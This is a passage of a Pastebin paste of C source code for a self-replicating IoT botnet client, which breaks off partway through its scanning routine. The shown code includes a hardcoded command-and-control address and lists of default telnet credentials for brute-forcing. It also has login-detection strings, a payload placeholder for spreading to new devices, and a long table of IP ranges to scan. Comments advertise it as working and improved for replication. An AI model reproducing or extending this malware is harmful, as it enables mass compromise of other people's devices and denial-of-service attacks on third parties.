Advertisement
DaddyDanCodes

Edited Self Rep Client.c (Working 2017)

Aug 16th, 2017
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 60.73 KB | None | 0 0
  1. // This shit now works thanks to
  2. // Daddy Dan new ip ranges and better logins for rep enjoy
  3. // BTW http attack is broken im to lazy to fix it Sorry
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <stdio.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <netdb.h>
  12. #include <signal.h>
  13. #include <strings.h>
  14. #include <string.h>
  15. #include <sys/utsname.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <errno.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/udp.h>
  21. #include <netinet/tcp.h>
  22. #include <sys/wait.h>
  23. #include <sys/ioctl.h>
  24. #include <net/if.h>
  25. #include <time.h>
  26. #include <limits.h>
  27. #define PR_SET_NAME 15
  28. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  29. #define PAD_RIGHT 1
  30. #define PAD_ZERO 2
  31. #define PRINT_BUF_LEN 12
  32. #define CMD_IAC 255
  33. #define CMD_WILL 251
  34. #define CMD_WONT 252
  35. #define CMD_DO 253
  36. #define CMD_DONT 254
  37. #define OPT_SGA 3
  38. #define STD2_SIZE 75
  39. #define BUFFER_SIZE 1024
  40. #define PHI 0x9e3779b9
  41. #define VERSION "DAN"
  42. unsigned char *hekkertelnet[] = { "74.74.74.74:123" }; //Server ip/Bot port Here: 0.0.0.0:23
  43. int Server_Botport = 123; //Bot Port Here
  44. char *usernames[] = {"root\0", "telnet\0", "default\0", "root\0",}; // best users for fast self rep
  45. char *passwords[] = {"5up\0", "telnet\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0",}; // good passwds for rep
  46. char *hvgsgd = "PLACE YOU PAYLOAD HERE\r\n";
  47. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
  48. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  49. char* successes[] = {"BusyBox", "$", "#", (char*)0};
  50. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  51. int initConnection();
  52. int userID = 1;
  53. void makeRandomStr(unsigned char *buf, int length);
  54. int HackerPrint(int sock, char *formatStr, ...);
  55. char *inet_ntoa(struct in_addr in);
  56. int D1ckSucka = 0, D1ckSuckaz = -1;
  57. uint32_t *pids;
  58. uint32_t scanPid;
  59. uint32_t ngPid;
  60. uint64_t numpids = 0;
  61. struct in_addr ourIP;
  62. unsigned char macAddress[6] = {0};
  63. static uint32_t Q[4096], c = 362436;
  64. void init_rand(uint32_t x)
  65. {
  66. int i;
  67. Q[0] = x;
  68. Q[1] = x + PHI;
  69. Q[2] = x + PHI + PHI;
  70. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  71. }
  72. uint32_t rand_cmwc(void)
  73. {
  74. uint64_t t, a = 18782LL;
  75. static uint32_t i = 4095;
  76. uint32_t x, r = 0xfffffffe;
  77. i = (i + 1) & 4095;
  78. t = a * Q[i] + c;
  79. c = (uint32_t)(t >> 32);
  80. x = t + c;
  81. if (x < c) {
  82. x++;
  83. c++;
  84. }
  85. return (Q[i] = r - x);
  86. }
  87. void trim(char *str)
  88. {
  89. int i;
  90. int begin = 0;
  91. int end = strlen(str) - 1;
  92. while (isspace(str[begin])) begin++;
  93. while ((end >= begin) && isspace(str[end])) end--;
  94. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  95. str[i - begin] = '\0';
  96. }
  97. static void printchar(unsigned char **str, int c)
  98. {
  99. if (str) {
  100. **str = c;
  101. ++(*str);
  102. }
  103. else (void)write(1, &c, 1);
  104. }
  105. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  106. {
  107. register int pc = 0, padchar = ' ';
  108. if (width > 0) {
  109. register int len = 0;
  110. register const unsigned char *ptr;
  111. for (ptr = string; *ptr; ++ptr) ++len;
  112. if (len >= width) width = 0;
  113. else width -= len;
  114. if (pad & PAD_ZERO) padchar = '0';
  115. }
  116. if (!(pad & PAD_RIGHT)) {
  117. for ( ; width > 0; --width) {
  118. printchar (out, padchar);
  119. ++pc;
  120. }
  121. }
  122. for ( ; *string ; ++string) {
  123. printchar (out, *string);
  124. ++pc;
  125. }
  126. for ( ; width > 0; --width) {
  127. printchar (out, padchar);
  128. ++pc;
  129. }
  130. return pc;
  131. }
  132. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  133. {
  134. unsigned char print_buf[PRINT_BUF_LEN];
  135. register unsigned char *s;
  136. register int t, neg = 0, pc = 0;
  137. register unsigned int u = i;
  138. if (i == 0) {
  139. print_buf[0] = '0';
  140. print_buf[1] = '\0';
  141. return prints (out, print_buf, width, pad);
  142. }
  143. if (sg && b == 10 && i < 0) {
  144. neg = 1;
  145. u = -i;
  146. }
  147. s = print_buf + PRINT_BUF_LEN-1;
  148. *s = '\0';
  149. while (u) {
  150. t = u % b;
  151. if( t >= 10 )
  152. t += letbase - '0' - 10;
  153. *--s = t + '0';
  154. u /= b;
  155. }
  156. if (neg) {
  157. if( width && (pad & PAD_ZERO) ) {
  158. printchar (out, '-');
  159. ++pc;
  160. --width;
  161. }
  162. else {
  163. *--s = '-';
  164. }
  165. }
  166. return pc + prints (out, s, width, pad);
  167. }
  168. static int print(unsigned char **out, const unsigned char *format, va_list args )
  169. {
  170. register int width, pad;
  171. register int pc = 0;
  172. unsigned char scr[2];
  173. for (; *format != 0; ++format) {
  174. if (*format == '%') {
  175. ++format;
  176. width = pad = 0;
  177. if (*format == '\0') break;
  178. if (*format == '%') goto out;
  179. if (*format == '-') {
  180. ++format;
  181. pad = PAD_RIGHT;
  182. }
  183. while (*format == '0') {
  184. ++format;
  185. pad |= PAD_ZERO;
  186. }
  187. for ( ; *format >= '0' && *format <= '9'; ++format) {
  188. width *= 10;
  189. width += *format - '0';
  190. }
  191. if( *format == 's' ) {
  192. register char *s = (char *)va_arg( args, int );
  193. pc += prints (out, s?s:"(null)", width, pad);
  194. continue;
  195. }
  196. if( *format == 'd' ) {
  197. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  198. continue;
  199. }
  200. if( *format == 'x' ) {
  201. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  202. continue;
  203. }
  204. if( *format == 'X' ) {
  205. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  206. continue;
  207. }
  208. if( *format == 'u' ) {
  209. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  210. continue;
  211. }
  212. if( *format == 'c' ) {
  213. scr[0] = (unsigned char)va_arg( args, int );
  214. scr[1] = '\0';
  215. pc += prints (out, scr, width, pad);
  216. continue;
  217. }
  218. }
  219. else {
  220. out:
  221. printchar (out, *format);
  222. ++pc;
  223. }
  224. }
  225. if (out) **out = '\0';
  226. va_end( args );
  227. return pc;
  228. }
  229. int zprintf(const unsigned char *format, ...)
  230. {
  231. va_list args;
  232. va_start( args, format );
  233. return print( 0, format, args );
  234. }
  235. int szprintf(unsigned char *out, const unsigned char *format, ...)
  236. {
  237. va_list args;
  238. va_start( args, format );
  239. return print( &out, format, args );
  240. }
  241. int HackerPrint(int sock, char *formatStr, ...)
  242. {
  243. unsigned char *textBuffer = malloc(2048);
  244. memset(textBuffer, 0, 2048);
  245. char *orig = textBuffer;
  246. va_list args;
  247. va_start(args, formatStr);
  248. print(&textBuffer, formatStr, args);
  249. va_end(args);
  250. orig[strlen(orig)] = '\n';
  251. //zprintf("buf: %s\n", orig);
  252. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  253. free(orig);
  254. return q;
  255. }
  256. static int *fdopen_pids;
  257. int fdpopen(unsigned char *program, register unsigned char *type)
  258. {
  259. register int iop;
  260. int pdes[2], fds, pid;
  261. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  262. if (pipe(pdes) < 0) return -1;
  263. if (fdopen_pids == NULL) {
  264. if ((fds = getdtablesize()) <= 0) return -1;
  265. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  266. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  267. }
  268. switch (pid = vfork())
  269. {
  270. case -1:
  271. close(pdes[0]);
  272. close(pdes[1]);
  273. return -1;
  274. case 0:
  275. if (*type == 'r') {
  276. if (pdes[1] != 1) {
  277. dup2(pdes[1], 1);
  278. close(pdes[1]);
  279. }
  280. close(pdes[0]);
  281. } else {
  282. if (pdes[0] != 0) {
  283. (void) dup2(pdes[0], 0);
  284. (void) close(pdes[0]);
  285. }
  286. (void) close(pdes[1]);
  287. }
  288. execl("/bins/sh", "sh", "-c", program, NULL);
  289. _exit(127);
  290. }
  291. if (*type == 'r') {
  292. iop = pdes[0];
  293. (void) close(pdes[1]);
  294. } else {
  295. iop = pdes[1];
  296. (void) close(pdes[0]);
  297. }
  298. fdopen_pids[iop] = pid;
  299. return (iop);
  300. }
  301. int fdpclose(int iop)
  302. {
  303. register int fdes;
  304. sigset_t omask, nmask;
  305. int pstat;
  306. register int pid;
  307. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  308. (void) close(iop);
  309. sigemptyset(&nmask);
  310. sigaddset(&nmask, SIGINT);
  311. sigaddset(&nmask, SIGQUIT);
  312. sigaddset(&nmask, SIGHUP);
  313. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  314. do {
  315. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  316. } while (pid == -1 && errno == EINTR);
  317. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  318. fdopen_pids[fdes] = 0;
  319. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  320. }
  321. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  322. {
  323. int got = 1, total = 0;
  324. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  325. return got == 0 ? NULL : buffer;
  326. }
  327. static const long hextable[] = {
  328. [0 ... 255] = -1,
  329. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  330. ['A'] = 10, 11, 12, 13, 14, 15,
  331. ['a'] = 10, 11, 12, 13, 14, 15
  332. };
  333. long parseHex(unsigned char *hex)
  334. {
  335. long ret = 0;
  336. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  337. return ret;
  338. }
  339. int wildString(const unsigned char* pattern, const unsigned char* string) {
  340. switch(*pattern)
  341. {
  342. case '\0': return *string;
  343. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  344. case '?': return !(*string && !wildString(pattern+1, string+1));
  345. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  346. }
  347. }
  348. int getHost(unsigned char *toGet, struct in_addr *i)
  349. {
  350. struct hostent *h;
  351. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  352. return 0;
  353. }
  354. void uppercase(unsigned char *str)
  355. {
  356. while(*str) { *str = toupper(*str); str++; }
  357. }
  358. void makeRandomStr(unsigned char *buf, int length)
  359. {
  360. int i = 0;
  361. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  362. }
  363. int recvLine(int socket, unsigned char *buf, int bufsize)
  364. {
  365. memset(buf, 0, bufsize);
  366. fd_set myset;
  367. struct timeval tv;
  368. tv.tv_sec = 30;
  369. tv.tv_usec = 0;
  370. FD_ZERO(&myset);
  371. FD_SET(socket, &myset);
  372. int selectRtn, retryCount;
  373. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  374. while(retryCount < 10)
  375. {
  376. HackerPrint(D1ckSucka, "PING");
  377. tv.tv_sec = 30;
  378. tv.tv_usec = 0;
  379. FD_ZERO(&myset);
  380. FD_SET(socket, &myset);
  381. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  382. retryCount++;
  383. continue;
  384. }
  385. break;
  386. }
  387. }
  388. unsigned char tmpchr;
  389. unsigned char *cp;
  390. int count = 0;
  391. cp = buf;
  392. while(bufsize-- > 1)
  393. {
  394. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  395. *cp = 0x00;
  396. return -1;
  397. }
  398. *cp++ = tmpchr;
  399. if(tmpchr == '\n') break;
  400. count++;
  401. }
  402. *cp = 0x00;
  403. // zprintf("recv: %s\n", cp);
  404. return count;
  405. }
  406. int hostname_to_ip(char * hostname , char* ip)
  407. {
  408. struct hostent *he;
  409. struct in_addr **addr_list;
  410. int i;
  411. if ( (he = gethostbyname( hostname ) ) == NULL)
  412. {
  413. // get the host info
  414. herror("gethostbyname");
  415. return 1;
  416. }
  417. addr_list = (struct in_addr **) he->h_addr_list;
  418. for(i = 0; addr_list[i] != NULL; i++)
  419. {
  420. //Return the first one;
  421. strcpy(ip , inet_ntoa(*addr_list[i]) );
  422. return 0;
  423. }
  424. return 1;
  425. }
  426. int connectTimeout(int fd, char *host, int port, int timeout)
  427. {
  428. struct sockaddr_in dest_addr;
  429. fd_set myset;
  430. struct timeval tv;
  431. socklen_t lon;
  432. int valopt;
  433. long arg = fcntl(fd, F_GETFL, NULL);
  434. arg |= O_NONBLOCK;
  435. fcntl(fd, F_SETFL, arg);
  436. dest_addr.sin_family = AF_INET;
  437. dest_addr.sin_port = htons(port);
  438. if(getHost(host, &dest_addr.sin_addr)) return 0;
  439. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  440. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  441. if (res < 0) {
  442. if (errno == EINPROGRESS) {
  443. tv.tv_sec = timeout;
  444. tv.tv_usec = 0;
  445. FD_ZERO(&myset);
  446. FD_SET(fd, &myset);
  447. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  448. lon = sizeof(int);
  449. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  450. if (valopt) return 0;
  451. }
  452. else return 0;
  453. }
  454. else return 0;
  455. }
  456. arg = fcntl(fd, F_GETFL, NULL);
  457. arg &= (~O_NONBLOCK);
  458. fcntl(fd, F_SETFL, arg);
  459. return 1;
  460. }
  461. int listFork()
  462. {
  463. uint32_t parent, *newpids, i;
  464. parent = fork();
  465. if (parent <= 0) return parent;
  466. numpids++;
  467. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  468. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  469. newpids[numpids - 1] = parent;
  470. free(pids);
  471. pids = newpids;
  472. return parent;
  473. }
  474. int negotiate(int sock, unsigned char *buf, int len)
  475. {
  476. unsigned char c;
  477. switch (buf[1]) {
  478. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  479. case CMD_WILL:
  480. case CMD_WONT:
  481. case CMD_DO:
  482. case CMD_DONT:
  483. c = CMD_IAC;
  484. send(sock, &c, 1, MSG_NOSIGNAL);
  485. if (CMD_WONT == buf[1]) c = CMD_DONT;
  486. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  487. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  488. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  489. send(sock, &c, 1, MSG_NOSIGNAL);
  490. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  491. break;
  492. default:
  493. break;
  494. }
  495. return 0;
  496. }
  497. int matchPrompt(char *bufStr)
  498. {
  499. char *prompts = ":>%$#\0";
  500. int bufLen = strlen(bufStr);
  501. int i, q = 0;
  502. for(i = 0; i < strlen(prompts); i++)
  503. {
  504. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  505. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  506. }
  507. return 0;
  508. }
  509. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  510. {
  511. int bufferUsed = initialIndex, got = 0, found = 0;
  512. fd_set myset;
  513. struct timeval tv;
  514. tv.tv_sec = timeout;
  515. tv.tv_usec = timeoutusec;
  516. unsigned char *initialRead = NULL;
  517. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  518. {
  519. FD_ZERO(&myset);
  520. FD_SET(fd, &myset);
  521. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  522. initialRead = buffer + bufferUsed;
  523. got = recv(fd, initialRead, 1, 0);
  524. if(got == -1 || got == 0) return 0;
  525. bufferUsed += got;
  526. if(*initialRead == 0xFF)
  527. {
  528. got = recv(fd, initialRead + 1, 2, 0);
  529. if(got == -1 || got == 0) return 0;
  530. bufferUsed += got;
  531. if(!negotiate(fd, initialRead, 3)) return 0;
  532. } else {
  533. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  534. }
  535. }
  536. if(found) return 1;
  537. return 0;
  538. }
  539. static uint8_t ipState[5] = {0};
  540. in_addr_t HackerScan2()
  541. {
  542. ipState[1] = 0;
  543. ipState[2] = 0;
  544. ipState[3] = 0;
  545. ipState[4] = 0;
  546. ipState[1] = rand() % 255;
  547. ipState[2] = rand() % 255;
  548. ipState[3] = rand() % 255;
  549. ipState[4] = rand() % 255;
  550. int randnum = rand() % 208;
  551. char ip[16];
  552. if(randnum == 0)
  553. {
  554. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  555. }
  556. if(randnum == 1)
  557. {
  558. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  559. }
  560. if(randnum == 2)
  561. {
  562. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  563. }
  564. if(randnum == 3)
  565. {
  566. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  567. }
  568. if(randnum == 4)
  569. {
  570. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  571. }
  572. if(randnum == 5)
  573. {
  574. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  575. }
  576. if(randnum == 6)
  577. {
  578. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  579. }
  580. if(randnum == 7)
  581. {
  582. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  583. }
  584. if(randnum == 8)
  585. {
  586. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  587. }
  588. if(randnum == 9)
  589. {
  590. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  591. }
  592. if(randnum == 10)
  593. {
  594. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  595. }
  596. if(randnum == 11)
  597. {
  598. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  599. }
  600. if(randnum == 12)
  601. {
  602. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  603. }
  604. if(randnum == 13)
  605. {
  606. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  607. }
  608. if(randnum == 14)
  609. {
  610. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  611. }
  612. if(randnum == 15)
  613. {
  614. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  615. }
  616. if(randnum == 16)
  617. {
  618. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  619. }
  620. if(randnum == 17)
  621. {
  622. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  623. }
  624. if(randnum == 18)
  625. {
  626. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  627. }
  628. if(randnum == 19)
  629. {
  630. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  631. }
  632. if(randnum == 20)
  633. {
  634. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  635. }
  636. if(randnum == 21)
  637. {
  638. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  639. }
  640. if(randnum == 22)
  641. {
  642. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  643. }
  644. if(randnum == 23)
  645. {
  646. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  647. }
  648. if(randnum == 24)
  649. {
  650. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  651. }
  652. if(randnum == 25)
  653. {
  654. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  655. }
  656. if(randnum == 26)
  657. {
  658. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  659. }
  660. if(randnum == 27)
  661. {
  662. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  663. }
  664. if(randnum == 28)
  665. {
  666. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  667. }
  668. if(randnum == 29)
  669. {
  670. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  671. }
  672. if(randnum == 30)
  673. {
  674. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  675. }
  676. if(randnum == 31)
  677. {
  678. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  679. }
  680. if(randnum == 32)
  681. {
  682. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  683. }
  684. if(randnum == 33)
  685. {
  686. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  687. }
  688. if(randnum == 34)
  689. {
  690. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  691. }
  692. if(randnum == 35)
  693. {
  694. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  695. }
  696. if(randnum == 36)
  697. {
  698. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  699. }
  700. if(randnum == 37)
  701. {
  702. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  703. }
  704. if(randnum == 38)
  705. {
  706. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  707. }
  708. if(randnum == 39)
  709. {
  710. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  711. }
  712. if(randnum == 40)
  713. {
  714. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  715. }
  716. if(randnum == 41)
  717. {
  718. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  719. }
  720. if(randnum == 42)
  721. {
  722. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  723. }
  724. if(randnum == 43)
  725. {
  726. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  727. }
  728. if(randnum == 44)
  729. {
  730. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  731. }
  732. if(randnum == 45)
  733. {
  734. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  735. }
  736. if(randnum == 46)
  737. {
  738. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  739. }
  740. if(randnum == 47)
  741. {
  742. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  743. }
  744. if(randnum == 48)
  745. {
  746. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  747. }
  748. if(randnum == 49)
  749. {
  750. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  751. }
  752. if(randnum == 50)
  753. {
  754. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  755. }
  756. if(randnum == 51)
  757. {
  758. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  759. }
  760. if(randnum == 52)
  761. {
  762. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  763. }
  764. if(randnum ==53)
  765. {
  766. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  767. }
  768. if(randnum == 54)
  769. {
  770. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  771. }
  772. if(randnum == 55)
  773. {
  774. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  775. }
  776. if(randnum == 56)
  777. {
  778. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  779. }
  780. if(randnum == 57)
  781. {
  782. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  783. }
  784. if(randnum == 58)
  785. {
  786. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  787. }
  788. if(randnum == 59)
  789. {
  790. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  791. }
  792. if(randnum == 60)
  793. {
  794. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  795. }
  796. if(randnum == 61)
  797. {
  798. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  799. }
  800. if(randnum == 62)
  801. {
  802. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  803. }
  804. if(randnum == 63)
  805. {
  806. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  807. }
  808. if(randnum == 64)
  809. {
  810. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  811. }
  812. if(randnum == 65)
  813. {
  814. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  815. }
  816. if(randnum == 66)
  817. {
  818. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  819. }
  820. if(randnum == 67)
  821. {
  822. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  823. }
  824. if(randnum == 68)
  825. {
  826. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  827. }
  828. if(randnum == 69)
  829. {
  830. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  831. }
  832. if(randnum == 70)
  833. {
  834. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  835. }
  836. if(randnum == 71)
  837. {
  838. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  839. }
  840. if(randnum == 72)
  841. {
  842. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  843. }
  844. if(randnum == 73)
  845. {
  846. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  847. }
  848. if(randnum == 74)
  849. {
  850. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  851. }
  852. if(randnum == 75)
  853. {
  854. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  855. }
  856. if(randnum == 76)
  857. {
  858. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  859. }
  860. if(randnum == 77)
  861. {
  862. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  863. }
  864. if(randnum == 78)
  865. {
  866. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  867. }
  868. if(randnum == 79)
  869. {
  870. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  871. }
  872. if(randnum == 80)
  873. {
  874. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  875. }
  876. if(randnum == 81)
  877. {
  878. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  879. }
  880. if(randnum == 82)
  881. {
  882. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  883. }
  884. if(randnum == 83)
  885. {
  886. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  887. }
  888. if(randnum == 84)
  889. {
  890. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  891. }
  892. if(randnum == 85)
  893. {
  894. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  895. }
  896. if(randnum == 86)
  897. {
  898. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  899. }
  900. if(randnum == 87)
  901. {
  902. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  903. }
  904. if(randnum == 88)
  905. {
  906. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  907. }
  908. if(randnum == 89)
  909. {
  910. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  911. }
  912. if(randnum == 90)
  913. {
  914. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  915. }
  916. if(randnum == 91)
  917. {
  918. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  919. }
  920. if(randnum == 92)
  921. {
  922. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  923. }
  924. if(randnum == 93)
  925. {
  926. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  927. }
  928. if(randnum == 94)
  929. {
  930. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  931. }
  932. if(randnum == 95)
  933. {
  934. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  935. }
  936. if(randnum == 96)
  937. {
  938. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  939. }
  940. if(randnum == 97)
  941. {
  942. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  943. }
  944. if(randnum == 98)
  945. {
  946. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  947. }
  948. if(randnum == 99)
  949. {
  950. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  951. }
  952. if(randnum == 100)
  953. {
  954. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  955. }
  956. if(randnum == 101)
  957. {
